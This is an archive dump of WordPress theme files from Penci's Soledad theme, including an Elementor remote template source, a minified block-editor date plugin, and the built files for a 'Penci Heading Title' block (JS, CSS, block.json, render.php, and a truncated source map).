				setActiveTab($(this).data('tab'));
			});
		}
	});
})(jQuery);PK     N\k~        inc/blocks/blocks.phpnu [        <?php

require_once __DIR__ . '/class-penci-library-source.php';
require_once __DIR__ . '/class-penci-library.php';

add_action('init', function () {
    if (defined('ELEMENTOR_VERSION')) {
        new Penci_Library;
    }
});
PK     N\6	  	  )  inc/blocks/class-penci-library-source.phpnu [        <?php

class Penci_Library_Source extends Elementor\TemplateLibrary\Source_Base {
	public function get_id() {
		return 'penci';
	}

	public function get_title() {
		return esc_html__( 'Penci', 'soledad' );
	}

	public function register_data() {
	}

	public function get_items( $args = [] ) {
		return [];
	}

	public function get_item( $template_id ) {
		$templates = $this->get_items();

		return $templates[ $template_id ];
	}


	private function get_template_content( $template_id ) {
		$response = wp_remote_get( 'https://library.pencidesign.net/wp-json/penci-blocks/v1/templates?id=' . $template_id );

		if ( is_wp_error( $response ) || ! is_array( $response ) ) {
			return $response;
		}

		$data = json_decode( $response['body'], true );

		if ( is_object( $data ) && isset( $data->error ) ) {
			die( __( 'Error whilst getting template', 'soledad' ) );
		}

		return $data;
	}

	public function get_data( array $args, $context = 'display' ) {
		if ( 'update' === $context ) {
			$data = $args['data'];
		} else {
			$data = $this->get_template_content( $args['template_id'] );
			self::penci_templ_remove_placeholer( $data['content'] );
		}

		if ( empty( $data ) || empty( $data['content'] ) ) {
			throw new \Exception( 'Template does not have any content' );
		}

		$data['content'] = $this->replace_elements_ids( $data['content'] );
		$data['content'] = $this->process_export_import_content( $data['content'], 'on_import' );


		// After the upload complete, set the elementor upload state back to false
		//Plugin::$instance->uploads_manager->set_elementor_upload_state( false );

		return $data;
	}

	public static function penci_templ_remove_placeholer( &$array ) {
		foreach ( $array as $key => &$value ) {
			if ( is_array( $value ) ) {
				if ( isset( $value['image'] ) && strpos( $value['image']['url'], 'placeholder' ) !== false ) {
					$value['image'] = [
						'url' => ''
					];
				}
				self::penci_templ_remove_placeholer( $value );
			}
		}
	}

	public function save_item( $template_data ) {
		return new WP_Error( 'invalid_request', 'Cannot save template to a remote source' );
	}

	public function update_item( $new_data ) {
		return new WP_Error( 'invalid_request', 'Cannot update template to a remote source' );
	}

	public function delete_template( $template_id ) {
		return new WP_Error( 'invalid_request', 'Cannot delete template from a remote source' );
	}


	public function export_template( $template_id ) {
		return new WP_Error( 'invalid_request', 'Cannot export template from a remote source' );
	}
}
PK     N\vu      inc/block-editor/build/index.jsnu [        (()=>{"use strict";const e=window.React,t=window.wp.plugins,o=window.wp.i18n,d=window.wp.data,n=window.wp.editPost,i=window.wp.date,a=window.wp.components,r=()=>{const t=(0,i.getSettings)(),r=t.formats.date+" "+t.formats.time,{editedModified:s,currentModified:l,postStatus:u,postMeta:c}=(0,d.useSelect)((e=>({editedModified:e("core/editor").getEditedPostAttribute("modified"),currentModified:e("core/editor").getCurrentPostAttribute("modified"),postStatus:e("core/editor").getEditedPostAttribute("status"),postMeta:e("core/editor").getEditedPostAttribute("meta")}))),{editPost:m}=(0,d.useDispatch)("core/editor");return["auto-draft","future"].includes(u)?null:(0,e.createElement)(n.PluginPostStatusInfo,null,"yes"==c?._lmt_disableupdate?(0,e.createElement)(e.Fragment,null,(0,e.createElement)("span",null,(0,o.__)("Last Modified","soledad")),(0,e.createElement)("b",null,(0,i.dateI18n)(r,s))):(0,e.createElement)(e.Fragment,null,(0,e.createElement)("span",null,(0,o.__)("Modified","soledad")),(0,e.createElement)(a.Dropdown,{position:"bottom left",contentClassName:"edit-post-post-schedule__dialog",renderToggle:({onToggle:t,isOpen:o})=>(0,e.createElement)(a.Button,{className:"edit-post-post-schedule__toggle",variant:"tertiary",onClick:t,"aria-expanded":o},(0,i.dateI18n)(r,s)),renderContent:()=>{return(0,e.createElement)(a.DateTimePicker,{currentDate:s,onChange:e=>{m({modified:e})},is12Hour:(o=t.formats.time,/(?:^|[^\\])[aAgh]/.test(o)),__nextRemoveResetButton:!0});var o}})))},s=()=>{const{postStatus:t,postMeta:i}=(0,d.useSelect)((e=>({postStatus:e("core/editor").getEditedPostAttribute("status"),postMeta:e("core/editor").getEditedPostAttribute("meta")}))),{editPost:r}=(0,d.useDispatch)("core/editor");return["auto-draft","future"].includes(t)?null:(0,e.createElement)(n.PluginPostStatusInfo,null,(0,e.createElement)(a.CheckboxControl,{label:(0,o.__)("Freeze modified date","soledad"),checked:"yes"==i?._lmt_disableupdate,onChange:()=>r({meta:{_lmt_disableupdate:"yes"==i?._lmt_disableupdate?"no":"yes"}})}))};(0,t.registerPlugin)("soledad-modified-info",{render:()=>(0,e.createElement)(e.Fragment,null,(0,e.createElement)(r,null),(0,e.createElement)(s,null)),icon:null})})();PK     N\q<      &  inc/block-editor/build/index.asset.phpnu [        <?php return array('dependencies' => array('react', 'wp-components', 'wp-data', 'wp-date', 'wp-edit-post', 'wp-i18n', 'wp-plugins'), 'version' => '209df52490735d8b88f5');
PK     N\tfhD  hD  '  inc/block/heading-styles/build/index.jsnu [        /******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	var __webpack_modules__ = ({

/***/ "./src/edit.js":
/*!*********************!*\
  !*** ./src/edit.js ***!
  \*********************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   "default": () => (/* binding */ Edit)
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _wordpress_block_editor__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @wordpress/block-editor */ "@wordpress/block-editor");
/* harmony import */ var _wordpress_block_editor__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_wordpress_block_editor__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _wordpress_components__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @wordpress/components */ "@wordpress/components");
/* harmony import */ var _wordpress_components__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__);

/**
 * Retrieves the translation of text.
 *
 * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-i18n/
 */


/**
 * Imports the InspectorControls component, which is used to wrap
 * the block's custom controls that will appear in in the Settings
 * Sidebar when the block is selected.
 *
 * Also imports the React hook that is used to mark the block wrapper
 * element. It provides all the necessary props like the class name.
 *
 * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/#inspectorcontrols
 * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/#useblockprops
 */


/**
 * Imports the necessary components that will be used to create
 * the user interface for the block's settings.
 *
 * @see https://developer.wordpress.org/block-editor/reference-guides/components/panel/#panelbody
 * @see https://developer.wordpress.org/block-editor/reference-guides/components/text-control/
 * @see https://developer.wordpress.org/block-editor/reference-guides/components/toggle-control/
 */

/**
 * Imports the useEffect React Hook. This is used to set an attribute when the
 * block is loaded in the Editor.
 *
 * @see https://react.dev/reference/react/useEffect
 */


/**
 * The edit function describes the structure of your block in the context of the
 * editor. This represents what the editor will render when the block is used.
 *
 * @see https://developer.wordpress.org/block-editor/reference-guides/block-api/block-edit-save/#edit
 *
 * @param {Object}   props               Properties passed to the function.
 * @param {Object}   props.attributes    Available block attributes.
 * @param {Function} props.setAttributes Function that updates individual attributes.
 *
 * @return {Element} Element to render.
 */
function Edit({
  attributes,
  setAttributes
}) {
  const {
    headingText,
    headingStyle,
    headingTag,
    accentColor,
    borderColor
  } = attributes;
  (0,react__WEBPACK_IMPORTED_MODULE_0__.useEffect)(() => {
    if (!headingText) {
      setAttributes({
        headingText: 'This is a heading title'
      });
    }
  }, [headingText, setAttributes]);
  let vp = headingTag;
  if (!vp || vp == 'undefined' || vp === undefined) {
    vp = 1;
  }
  const HeadingTagL = `h${vp}`;
  const cStyle = {
    '--pcborder-cl': borderColor,
    '--pcaccent-cl': accentColor
  };
  return (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(react__WEBPACK_IMPORTED_MODULE_0__.Fragment, null, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_block_editor__WEBPACK_IMPORTED_MODULE_2__.InspectorControls, null, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.PanelBody, {
    title: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__.__)('Settings', 'soledad')
  }, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.SelectControl, {
    label: "Heading Tag",
    value: headingTag,
    options: [{
      label: 'H1',
      value: '1'
    }, {
      label: 'H2',
      value: '2'
    }, {
      label: 'H3',
      value: '3'
    }, {
      label: 'H4',
      value: '4'
    }, {
      label: 'H5',
      value: '5'
    }, {
      label: 'H6',
      value: '6'
    }],
    onChange: headingNewTag => setAttributes({
      headingTag: headingNewTag
    }),
    __nextHasNoMarginBottom: true
  }), (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.SelectControl, {
    label: "Style",
    value: headingStyle,
    options: [{
      label: 'Style 1',
      value: 'style-1'
    }, {
      label: 'Style 2',
      value: 'style-2'
    }, {
      label: 'Style 3',
      value: 'style-3'
    }, {
      label: 'Style 4',
      value: 'style-4'
    }, {
      label: 'Style 5',
      value: 'style-5'
    }, {
      label: 'Style 6',
      value: 'style-6'
    }],
    onChange: headingNewStyle => setAttributes({
      headingStyle: headingNewStyle
    }),
    __nextHasNoMarginBottom: true
  }), (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.TextControl, {
    label: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__.__)('Heading Title Text', 'soledad'),
    value: headingText,
    onChange: value => setAttributes({
      headingText: value
    })
  }))), (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_block_editor__WEBPACK_IMPORTED_MODULE_2__.InspectorControls, {
    group: "styles"
  }, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.PanelBody, {
    title: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__.__)('Heading Title Colors', 'soledad')
  }, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.__experimentalHeading, null, "Accent Color"), (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.ColorPicker, {
    color: accentColor,
    onChange: accentColorNew => setAttributes({
      accentColor: accentColorNew
    }),
    enableAlpha: true,
    defaultValue: ""
  }), (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.__experimentalHeading, null, "Border Color"), (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.ColorPicker, {
    color: borderColor,
    onChange: borderColorNew => setAttributes({
      borderColor: borderColorNew
    }),
    enableAlpha: true,
    defaultValue: ""
  }))), (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)("div", {
    className: `pchead-e-block pchead-e-${headingStyle} heading${vp}-${headingStyle}`
  }, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(HeadingTagL, {
    ...(0,_wordpress_block_editor__WEBPACK_IMPORTED_MODULE_2__.useBlockProps)({
      style: cStyle
    })
  }, headingText)));
}

/***/ }),

/***/ "./src/save.js":
/*!*********************!*\
  !*** ./src/save.js ***!
  \*********************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   "default": () => (/* binding */ save)
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _wordpress_block_editor__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @wordpress/block-editor */ "@wordpress/block-editor");
/* harmony import */ var _wordpress_block_editor__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_wordpress_block_editor__WEBPACK_IMPORTED_MODULE_1__);

/**
 * React hook that is used to mark the block wrapper element.
 * It provides all the necessary props like the class name.
 *
 * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/#useblockprops
 */


/**
 * The save function defines the way in which the different attributes should
 * be combined into the final markup, which is then serialized by the block
 * editor into `post_content`.
 *
 * @see https://developer.wordpress.org/block-editor/reference-guides/block-api/block-edit-save/#save
 *
 * @param {Object} props            Properties passed to the function.
 * @param {Object} props.attributes Available block attributes.
 *
 * @return {Element} Element to render.
 */
function save({
  attributes
}) {
  const {
    headingStyle,
    headingTag,
    headingText,
    accentColor,
    borderColor
  } = attributes;

  // If there is no fallbackCurrentYear, which could happen if the block
  // is loaded from a template/pattern, return null. In this case, block
  // rendering will be handled by the render.php file.
  let displayDate;
  if (!headingText) {
    displayDate = 'This is a heading title';
  } else {
    displayDate = headingText;
  }
  const HeadingTagL = `h${headingTag}`;
  return (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)("div", {
    className: `pchead-e-block pchead-e-${headingStyle} heading${headingTag}-${headingStyle}`
  }, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(HeadingTagL, {
    ..._wordpress_block_editor__WEBPACK_IMPORTED_MODULE_1__.useBlockProps.save()
  }, displayDate));
}

/***/ }),

/***/ "react":
/*!************************!*\
  !*** external "React" ***!
  \************************/
/***/ ((module) => {

module.exports = window["React"];

/***/ }),

/***/ "@wordpress/block-editor":
/*!*************************************!*\
  !*** external ["wp","blockEditor"] ***!
  \*************************************/
/***/ ((module) => {

module.exports = window["wp"]["blockEditor"];

/***/ }),

/***/ "@wordpress/blocks":
/*!********************************!*\
  !*** external ["wp","blocks"] ***!
  \********************************/
/***/ ((module) => {

module.exports = window["wp"]["blocks"];

/***/ }),

/***/ "@wordpress/components":
/*!************************************!*\
  !*** external ["wp","components"] ***!
  \************************************/
/***/ ((module) => {

module.exports = window["wp"]["components"];

/***/ }),

/***/ "@wordpress/i18n":
/*!******************************!*\
  !*** external ["wp","i18n"] ***!
  \******************************/
/***/ ((module) => {

module.exports = window["wp"]["i18n"];

/***/ }),

/***/ "./src/block.json":
/*!************************!*\
  !*** ./src/block.json ***!
  \************************/
/***/ ((module) => {

module.exports = JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"block/soledad","version":"1.0","title":"Penci Heading Title","category":"widgets","description":"Display heading title with various styles.","example":{},"attributes":{"headingTag":{"type":"string"},"headingStyle":{"type":"string"},"headingText":{"type":"string"},"accentColor":{"type":"string"},"borderColor":{"type":"string"}},"supports":{"color":{"background":false,"text":true},"html":true,"typography":{"fontSize":true}},"textdomain":"soledad","editorScript":"file:./index.js","editorStyle":"file:./style.css","style":"file:./style.css","render":"file:./render.php"}');

/***/ })

/******/ 	});
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	(() => {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = (module) => {
/******/ 			var getter = module && module.__esModule ?
/******/ 				() => (module['default']) :
/******/ 				() => (module);
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// This entry need to be wrapped in an IIFE because it need to be isolated against other modules in the chunk.
(() => {
/*!**********************!*\
  !*** ./src/index.js ***!
  \**********************/
__webpack_require__.r(__webpack_exports__);
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _wordpress_blocks__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @wordpress/blocks */ "@wordpress/blocks");
/* harmony import */ var _wordpress_blocks__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_wordpress_blocks__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _edit__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./edit */ "./src/edit.js");
/* harmony import */ var _save__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./save */ "./src/save.js");
/* harmony import */ var _block_json__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./block.json */ "./src/block.json");

/**
 * Registers a new block provided a unique name and an object defining its behavior.
 *
 * @see https://developer.wordpress.org/block-editor/developers/block-api/#registering-a-block
 */


/**
 * Internal dependencies
 */




/**
 * Define a custom SVG icon for the block. This icon will appear in
 * the Inserter and when the user selects the block in the Editor.
 */
const calendarIcon = (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)("svg", {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  "aria-hidden": "true",
  focusable: "false"
}, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)("path", {
  d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7h15v12zM9 10H7v2h2v-2zm0 4H7v2h2v-2zm4-4h-2v2h2v-2zm4 0h-2v2h2v-2zm-4 4h-2v2h2v-2zm4 0h-2v2h2v-2z"
}));

/**
 * Every block starts by registering a new block type definition.
 *
 * @see https://developer.wordpress.org/block-editor/developers/block-api/#registering-a-block
 */
(0,_wordpress_blocks__WEBPACK_IMPORTED_MODULE_1__.registerBlockType)(_block_json__WEBPACK_IMPORTED_MODULE_4__.name, {
  icon: calendarIcon,
  /**
   * @see ./edit.js
   */
  edit: _edit__WEBPACK_IMPORTED_MODULE_2__["default"],
  /**
   * @see ./save.js
   */
  save: _save__WEBPACK_IMPORTED_MODULE_3__["default"]
});
})();

/******/ })()
;
//# sourceMappingURL=index.js.mapPK     N\zG    (  inc/block/heading-styles/build/style.cssnu [        .pchead-e-block {
    --pcborder-cl: #dedede;
    --pcaccent-cl: #6eb48c;
}
.heading1-style-1 > h1,
.heading2-style-1 > h2,
.heading3-style-1 > h3,
.heading4-style-1 > h4,
.heading5-style-1 > h5,
.heading1-style-2 > h1,
.heading2-style-2 > h2,
.heading3-style-2 > h3,
.heading4-style-2 > h4,
.heading5-style-2 > h5 {
    padding-bottom: 8px;
    border-bottom: 1px solid var(--pcborder-cl);
    overflow: hidden;
}
.heading1-style-2 > h1,
.heading2-style-2 > h2,
.heading3-style-2 > h3,
.heading4-style-2 > h4,
.heading5-style-2 > h5 {
    border-bottom-width: 0;
    position: relative;
}
.heading1-style-2 > h1:before,
.heading2-style-2 > h2:before,
.heading3-style-2 > h3:before,
.heading4-style-2 > h4:before,
.heading5-style-2 > h5:before {
    content: '';
    width: 50px;
    height: 2px;
    bottom: 0;
    left: 0;
    z-index: 2;
    background: var(--pcaccent-cl);
    position: absolute;
}
.heading1-style-2 > h1:after,
.heading2-style-2 > h2:after,
.heading3-style-2 > h3:after,
.heading4-style-2 > h4:after,
.heading5-style-2 > h5:after {
    content: '';
    width: 100%;
    height: 2px;
    bottom: 0;
    left: 20px;
    z-index: 1;
    background: var(--pcborder-cl);
    position: absolute;
}
.heading1-style-3 > h1,
.heading2-style-3 > h2,
.heading3-style-3 > h3,
.heading4-style-3 > h4,
.heading5-style-3 > h5,
.heading1-style-4 > h1,
.heading2-style-4 > h2,
.heading3-style-4 > h3,
.heading4-style-4 > h4,
.heading5-style-4 > h5 {
    position: relative;
    padding-left: 20px;
}
.heading1-style-3 > h1:before,
.heading2-style-3 > h2:before,
.heading3-style-3 > h3:before,
.heading4-style-3 > h4:before,
.heading5-style-3 > h5:before,
.heading1-style-4 > h1:before,
.heading2-style-4 > h2:before,
.heading3-style-4 > h3:before,
.heading4-style-4 > h4:before,
.heading5-style-4 > h5:before {
    width: 10px;
    height: 100%;
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    bottom: 0;
    background: var(--pcaccent-cl);
}
.heading1-style-4 > h1,
.heading2-style-4 > h2,
.heading3-style-4 > h3,
.heading4-style-4 > h4,
.heading5-style-4 > h5 {
    padding: 10px 20px;
    background: #f1f1f1;
}
.heading1-style-5 > h1,
.heading2-style-5 > h2,
.heading3-style-5 > h3,
.heading4-style-5 > h4,
.heading5-style-5 > h5 {
    position: relative;
    z-index: 1;
}
.heading1-style-5 > h1:before,
.heading2-style-5 > h2:before,
.heading3-style-5 > h3:before,
.heading4-style-5 > h4:before,
.heading5-style-5 > h5:before {
    content: "";
    position: absolute;
    left: 0;
    bottom: 0;
    width: 200px;
    height: 50%;
    transform: skew(-25deg) translateX(0);
    background: var(--pcaccent-cl);
    z-index: -1;
    opacity: 0.4;
}
.heading1-style-6 > h1,
.heading2-style-6 > h2,
.heading3-style-6 > h3,
.heading4-style-6 > h4,
.heading5-style-6 > h5 {
    text-decoration: underline;
    text-underline-offset: 2px;
    text-decoration-thickness: 4px;
    text-decoration-color: var(--pcaccent-cl);
}PK     N\2be  e  )  inc/block/heading-styles/build/block.jsonnu [        {
  "$schema": "https://schemas.wp.org/trunk/block.json",
  "apiVersion": 3,
  "name": "block/soledad",
  "version": "1.0",
  "title": "Penci Heading Title",
  "category": "widgets",
  "description": "Display heading title with various styles.",
  "example": {},
  "attributes": {
    "headingTag": {
      "type": "string"
    },
    "headingStyle": {
      "type": "string"
    },
    "headingText": {
      "type": "string"
    },
    "accentColor": {
      "type": "string"
    },
    "borderColor": {
      "type": "string"
    }
  },
  "supports": {
    "color": {
      "background": false,
      "text": true
    },
    "html": true,
    "typography": {
      "fontSize": true
    }
  },
  "textdomain": "soledad",
  "editorScript": "file:./index.js",
  "editorStyle": "file:./style.min.css",
  "style": "file:./style.min.css",
  "render": "file:./render.php"
}PK     N\2      )  inc/block/heading-styles/build/render.phpnu [        <?php
/**
 * PHP file to use when rendering the block type on the server to show on the front end.
 *
 * The following variables are exposed to the file:
 *     $attributes (array): The block attributes.
 *     $content (string): The block default content.
 *     $block (WP_Block): The block instance.
 *
 * @see https://github.com/WordPress/gutenberg/blob/trunk/docs/reference-guides/block-api/block-metadata.md#render
 */
// Determine which content to display.
if ( isset( $attributes['headingText'] ) ) {

	$headingNewStyle = isset( $attributes['headingStyle'] ) ? $attributes['headingStyle'] : 'style-1';
	$heading_tag     = isset( $attributes['headingTag'] ) ? $attributes['headingTag'] : '1';
	$headingText     = $attributes['headingText'];
	$props           = get_block_wrapper_attributes();

	$style   = '';
	$accents = isset( $attributes['accentColor'] ) ? $attributes['accentColor'] : '';
	$border  = isset( $attributes['borderColor'] ) ? $attributes['borderColor'] : '';

	if ( $border ) {
		$style .= '--pcborder-cl:' . $border . ';';
	}

	if ( $accents ) {
		$style .= '--pcaccent-cl:' . $accents . ';';
	}

	echo "<div style='{$style}' class='pchead-e-block pchead-e-${headingNewStyle} heading${heading_tag}-${headingNewStyle}'><h${heading_tag} ${props}>${headingText}</h${heading_tag}></div>";
}
PK     N\|,h=  =  +  inc/block/heading-styles/build/index.js.mapnu [        {"version":3,"file":"index.js","mappings":";;;;;;;;;;;;;;;;;;;;;;;AAAA;AACA;AACA;AACA;AACA;AACoC;;AAEpC;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AAC0E;;AAE1E;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AAO8B;AAC9B;AACA;AACA;AACA;AACA;AACA;AACiC;;AAEjC;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACe,SAASU,IAAIA,CAAE;EAAEC,UAAU;EAAEC;AAAc,CAAC,EAAG;EAC7D,MAAM;IAAEC,WAAW;IAAEC,YAAY;IAAEC,UAAU;IAAEC,WAAW;IAAEC;EAAY,CAAC,GAAGN,UAAU;EAEtFF,gDAAS,CAAE,MAAM;IAChB,IAAK,CAACI,WAAW,EAAG;MACnBD,aAAa,CAAE;QAAEC,WAAW,EAAE;MAA0B,CAAE,CAAC;IAC5D;EACD,CAAC,EAAE,CAACA,WAAW,EAAED,aAAa,CAAE,CAAC;EAEjC,IAAIM,EAAE,GAAGH,UAAU;EAEnB,IAAK,CAACG,EAAE,IAAIA,EAAE,IAAI,WAAW,IAAIA,EAAE,KAAKC,SAAS,EAAG;IACnDD,EAAE,GAAG,CAAC;EACP;EAEA,MAAME,WAAW,GAAI,IAAGF,EAAG,EAAC;EAE5B,MAAMG,MAAM,GAAG;IACd,eAAe,EAAEJ,WAAW;IAC5B,eAAe,EAAED;EAClB,CAAC;EACD,OACCM,oDAAA,CAAAC,2CAAA,QACCD,oDAAA,CAACrB,sEAAiB,QACjBqB,oDAAA,CAAChB,4DAAS;IAACkB,KAAK,EAAExB,mDAAE,CAAE,UAAU,EAAE,SAAU;EAAE,GAC7CsB,oDAAA,CAACf,gEAAa;IACbkB,KAAK,EAAC,aAAa;IACnBC,KAAK,EAAEX,UAAW;IAClBY,OAAO,EAAE,CACR;MAAEF,KAAK,EAAE,IAAI;MAAEC,KAAK,EAAE;IAAI,CAAC,EAC3B;MAAED,KAAK,EAAE,IAAI;MAAEC,KAAK,EAAE;IAAI,CAAC,EAC3B;MAAED,KAAK,EAAE,IAAI;MAAEC,KAAK,EAAE;IAAI,CAAC,EAC3B;MAAED,KAAK,EAAE,IAAI;MAAEC,KAAK,EAAE;IAAI,CAAC,EAC3B;MAAED,KAAK,EAAE,IAAI;MAAEC,KAAK,EAAE;IAAI,CAAC,EAC3B;MAAED,KAAK,EAAE,IAAI;MAAEC,KAAK,EAAE;IAAI,CAAC,CAC1B;IACFE,QAAQ,EAAIC,aAAa,IAAMjB,aAAa,CAAE;MAAEG,UAAU,EAAEc;IAAc,CAAE,CAAE;IAC9EC,uBAAuB;EAAA,CACvB,CAAC,EACFR,oDAAA,CAACf,gEAAa;IACbkB,KAAK,EAAC,OAAO;IACbC,KAAK,EAAEZ,YAAa;IACpBa,OAAO,EAAE,CACR;MAAEF,KAAK,EAAE,SAAS;MAAEC,KAAK,EAAE;IAAU,CAAC,EACtC;MAAED,KAAK,EAAE,SAAS;MAAEC,KAAK,EAAE;IAAU,CAAC,EACtC;MAAED,KAAK,EAAE,SAAS;MAAEC,KAAK,EAAE;IAAU,CAAC,EACtC;MAAED,KAAK,EAAE,SAAS;MAAEC,KAAK,EAAE;IAAU,CAAC,EACtC;MAAED,KAAK,EAAE,SAAS;MAAEC,KAAK,EAAE;IAAU,CAAC,EACtC;MAAED,KAAK,EAAE,SAAS;MAAEC,KAAK,EAAE;IAAU,CAAC,CACrC;IACFE,QAAQ,EAAIG,eAAe,IAAMnB,aAAa,CAAE;MAAEE,YAAY,EAAEiB;IAAgB,CAAE,CAAE;IACpFD,uBAAuB;EAAA,CACvB,CAAC